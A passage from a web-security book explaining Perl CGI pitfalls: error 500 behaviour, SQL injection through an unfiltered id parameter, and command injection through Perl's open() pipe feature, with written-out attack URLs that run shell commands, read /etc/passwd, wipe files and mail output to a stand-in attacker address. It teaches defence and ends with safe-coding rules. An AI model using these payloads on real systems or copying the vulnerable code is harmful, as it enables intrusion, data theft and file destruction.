Errors Specific to Perl Scripts [1]

Another popular Web programming language is Perl. It was developed specifically for Web programming. However, many applications that start from the command line and aren't related to the Web are also written in Perl.

Because Web programming is one of Perl's features, it introduces certain nuances into errors that you can notice in the Web applications. The main peculiarity is that programs written in Perl rarely have drawbacks determined by Perl.

Perl has few built-in features that could bear potential dangers. Additional functionality and, therefore, additional danger are added by plug-ins. However, they are so numerous that it would be impossible to describe each in one book.

All possible mistakes and vulnerabilities fit into a few categories. Many mistakes are also typical of programs written in other languages, for example, PHP. Such mistakes typical of many programming languages are comprehensively described later in this chapter.

Web applications written in Perl can entail a few nonstandard situations.

An Internal Server Error

An HTTP error message, 500 - Internal Server Error, appears in scripts written in Perl more often than in PHP scripts. The most common cause of this error is that the Perl script didn't return some HTTP headers in the server response.

A Perl script should output to the stdout stream the portion of an HTTP header responsible for the type of the output data, that is, the Content-Type field. After the Content-Type header field is output, two linefeed characters are expected.

For example, any output in a Perl script can be preceded by a header with the following instructions:

   #!/usr/bin/perl

print "Content-Type: text/html\n\n";

Note that although the client receives the Internal Server Error message, the script is executed. What's more, log files on the HTTP server will contain the record about the error and not a record about normal execution of the script. There won't be indication that the script was executed. Nevertheless, it was.

To demonstrate this, consider a small example. You can find it on the CD-ROM accompanying this book, in the http://localhost/cgi-bin/l.cgi script.

Here is its code:

   #!/usr/bin/perl

use Time::Local;

($year, $month, $day, $hours, $min, $sec)=

(local-time)[5,4,3,2,1,0];

$year+=1900;

$month+=1;

$date="$year-$month-$day $hours:$min:$sec";

system("echo $date 111 >> ./result.tmp");

print "Content-tipe: text-html"; #This line contains mistakes.

#It will cause error 500.

print "This text will be never output to a browser";

($year, $month, $day, $hours, $min, $sec)={localtime)[5,4,3,2,1,0];

$year+=1900;

$month+=1;

$date="$year-$month-$day $hours:$min:$sec";

system("echo $date 222 >> ./result.tmp");

Now send an HTTP GET request to the server script http://localhost/cgi-bin/l.cgi. Make sure that the 500 - Internal Server Error message is displayed:

   Internal Server Error



The server encountered an internal error or misconfiguration and was

unable to complete your request.



Please contact the server administrators and inform them of the time

the error occurred and anything you might have done that may have

caused the error.



More information about this error may be available in the server error

log.

This text unambiguously indicates the error. Naturally, the user didn't receive the data that could be returned by the script. However, there are still a few questions. Was the script executed? Was its execution interrupted by the erroneous instruction, or it was executed to the end?

You can find answers in the RESULT.TMP file created in the same directory.

The Image from book 1.CGI script is written so that a line with the current date, time, and three ones is output to this file before the erroneous instruction is encountered. The instruction with the incorrect HTTP header follows, which causes the error. Then the script should output some data to the browser, but this will never be done because of the internal server error. Then the script writes a line with the current date, time, and three twos.

Examine the RESULT.TMP file after the Image from book 1.CGI script terminates. It contains two lines that look like the following:

   2004-9-14 19:4:20 111

2004-9-14 19:4:20 222

In other words, two instructions that write data into the file were successfully executed. This means that the script was executed completely. Remember this!

Now, consider another Perl script. Here is its code:

   #!/usr/bin/perl

use DBI;

use CGI qw(:standard);

$id=param('id');

$id=1 if(!$id);

$dbh = DBI->connect("dbi:mysql:database=book1;host=localhost",

"root", "")

|| print "Error $DBI::errstr\n";

$sth=$dbh->prepare("select name from test1 where id=$id")

|| print "Error $DBI::errstr\n";

$sth->execute || print "Error $DBI::errstr\n";

$ref=$sth->fetchrow_hashref || print "Error $DBI::errstr\n";

$sth->finish || print "Error $DBI::errstr\n";

print "Content-Type: text/html\n\n";

print $ref->{name};

The structure of this script is the following: First, it connects to a database, then it sends an SQL query to it. The SQL query contains a variable whose value was received from the user. If no value for the variable was received, it is set to a default value.

Because the variable value isn't filtered, the SQL source code injection vulnerability takes place. I'll comprehensively describe it in Chapter 3. Nevertheless, I'll describe some of its features now.

What will happen if you send this script various values of the id GET parameter, both correct and incorrect? Here are a few examples:

  • http://localhost/cgi-bin/2.cgi

  • http://localhost/cgi-bin/2.cgi?id=1

  • http://localhost/cgi-bin/2.cgi?id=3

  • http://localhost/cgi-bin/2.cgi?id=99999

  • http://localhost/cgi-bin/2.cgi?id=abcd

  • http://localhost/cgi-bin/2.cgi?id=a'

You can make sure that parameters that aren't integers cause the 500 -Internal Server Error message.

Why does the interpreter display this error message rather than a message like the following?

   Error: You have an error in your SQL syntax near ''' at line 1

Error: fetch() without execute()

You can find the answer if you start the script with these parameters in the command line:

   C:\> cd \usr\www\cgi-bin\

C:\usr\www\cgi-bin\> \usr\bin\perl 2.cgi id=2

Content-Type: text/html

<empty line>

John Smith

C:\usr\www\cgi-bin\> \usr\bin\perl 2.cgi id=999

Error

Content-Type: text/html

<empty line>

C:\usr\www\cgi-bin\> \usr\bin\perl 2.cgi id=abc

DBD::mysql::st execute failed: Unknown column 'abc' in 'where clause'

at 2.cgi line 14.

Error Unknown column 'abc' in 'where clause'

DBD::mysql::st fetchrow_hashref failed: fetch() without execute() at

2.cgi line 17.

Error fetch() without execute()

Content-Type: text/html

<empty line>

The cause of the 500 - internal Server Error message is the same as in the previous example: The script doesn't output the value of the Content-Type header field.

In this example, the error message was sent to the browser before the header. So, when an attacker investigates a system for vulnerabilities, he or she can suppose that the internal server error emerging with certain values of HTTP parameters indicates an error in the script. The server's response code, 500, can be explained by sending the error message to the browser before sending the Content-Type header.

As for the programmer, he or she should be aware that, although the attacker doesn't see messages informing him or her about errors in the script and can only guess them, perseverance wins and the attacker can eventually find and exploit the vulnerability.

Creating a Process in the open() Function

The open() function is often used by programmers in Perl to open files and read their contents. By default, this function opens files for reading.

Consider the example in http://localhost/cgi-bin/3.cgi:

   #!/usr/bin/perl

use CGI qw(:standard);

print "Content-Type: text/html\n\n";

$page=param('page');

$page="./data/abc.txt" if(!$page);

open(F, "$page");

while(<F>)

{

print;

}

close(F);

This script expects the value of the $page variable to be sent as an HTTP GET parameter. Then it opens a file whose name is contained in this variable. If no value is received, the variable gets a default value. Then the script outputs the contents of the file to the browser and closes the file.

Here are a few correct and incorrect requests to the script:

There is an obvious vulnerability here: Any files on the server can be accessed with the rights of the Web server. The second-to-last request returns the contents of a secret file, and the last request returns the source code of the script. In addition, if there is no file with the specified name, no error messages are displayed and the browser shows an empty page.

Now, consider one feature of the open() function in Perl: If the specified file name begins with the pipe character (I), the characters that follows it are interpreted as a command, and a stream opens. In other words, the specified command will be executed, and the data it outputs to the stdout stream will be displayed as if they were the contents of a file.

So, this vulnerability is more dangerous than obtaining the contents of any file, because it allows the attacker to execute any code on the server with the access rights of the user who started the HTTP server.

Consider a few examples.

The http://localhost/cgi-bin/3.cgi?page=|echo+hello request will execute the echo hello command that outputs hello to the standard output stream. In this example, this stream is redirected to the browser, so the browser will display hello.

The http://localhost/cgi-bin/3.cgi?page=|date+/T request executes the date /T command to output the current data.

The http://localhost/cgi-bin/3.cgi?page=|ping+yandex.ru request will disclose information about the server's external channel. In Windows, it will return something similar to this:

   Exchanging packages with yandex.ru [213.180.216.200] 32 bytes:

Response from 213.180.216.200: bytes=32 time=70ms TTL=182

Response from 213.180.216.200: bytes=32 time=70ms TTL=182

Response from 213.180.216.200: bytes=32 time=60ms TTL=182

Response from 213.180.216.200: bytes=32 time=60ms TTL=182

Statistics Ping for 213.180.216.200:

Packages: sent = 4, received = 4, lost = 0 (0% losses),

Approximate time of transmitting and receiving:

minimum = 60ms, maximum = 70ms, average = 65ms

The http://localhost/cgi-bin/3.cgi?page=|ipconfig and the http://localhost/cgi-bin/3.cgi?page=|netstat+-an requests disclose information about network interfaces, running services, and established connections on the server.

In Unix-like operating systems, the attacker can execute Unix commands, including the following:

  • http://localhost/cgi-bm/3.cgi?page=|ls+-la

  • http://localhost/cgi-bin/3.cgi?page=|netstat+-an

Now, consider a case, in which the data aren't sent to the standard output stream or, therefore, to the browser. However, the vulnerability still takes place. Files can be read and commands can be executed, but the contents of the files and the results of the commands aren't displayed in the browser window.

In this case, the attacker can create a chain of commands to redirect the output to a desired stream. For example, in a Unix-like operating system, the result of a command can be sent to an e-mail address:

http://localhost/cgi-bin/3.cgi?page=|ls+-la|sendmail+hacker@atacker.ru

Note that this method doesn't allow the attacker to send the contents of a file. Instead of the http://localhost/cgi-bin/3.cgi?page=/et/passwd|sendmail+hacker@atacker.ru request, he or she can use commands that output the file to the stdout stream. An appropriate request can be as follows:

http://localhost/cgi-bin/3.cgi?page=|cat+/et/passwd|sendmail+hacker@atacker.ru

In addition to reading the contents of any files available for reading to the user who started the HTTP server and executing any system commands with the rights of the HTTP server, the attacker can use this vulnerability to create empty files and to delete the contents of any files.

Remember that, like with the I character, the use of the > or >> characters before the file name opens the file for writing with cleaning or for writing with adding, respectively. Therefore, if you open a file like >./not-exists.txt and the ./NOT-EXISTS.TXT file doesn't exist in the system, the file will be created.

An HTTP request creating this file could look as follows:

http://localhost/cgi-bin/3.cgi?page=>./not-exists.txt

In a Unix-like operating system, the file will be created only if the directory is available for writing to the user who started the HTTP server.

Emptying a file is done in a similar manner. If you open a file like >./test1.txt and the ./TEST1.TXT file exists in the current directory, it will be opened for writing with cleaning of contents. In other words, the http://localhost/cgi-bin/3.cgi?page=>./test1.txt request will erase the contents of the file.

In a Unix-like operating system, you can change the contents of any files and add any contents to files available for writing to the user who started the HTTP server. To do this, two HTTP requests can be used. The first request changes the contents of the FILE1.TXT file to TEXT (if necessary, it creates the file). The second request adds data to the file, creating the file when necessary:

  • http://localhost/cgi-bin/3.cgi?page=|echo+TEXT+>+file1.txt

  • http://localhost/cgi-bin/3.cgi?page=|echo+TEXT+>>+file2.txt

To create secure programs that are free of this vulnerability, stick to the following rule.



Rule

Never use the name of a variable inside a file-opening function if the name can be directly or indirectly changed by a remote user.

However, sometimes it is necessary to allow users to choose, which file to open. In such cases, don't allow users to add characters to the beginning of the file name, which will prevent them from executing any commands.

To do this, filter parameters received from a user or fix the path to the folder, for example, open (". /$file");. In any case, stick to the following rule:



Rule

When you open a file whose name can depend on parameters of an HTTP request received from a user, select the file name from a fixed set of valid names. The set should be thoroughly specified depending on the task.

더보기

댓글,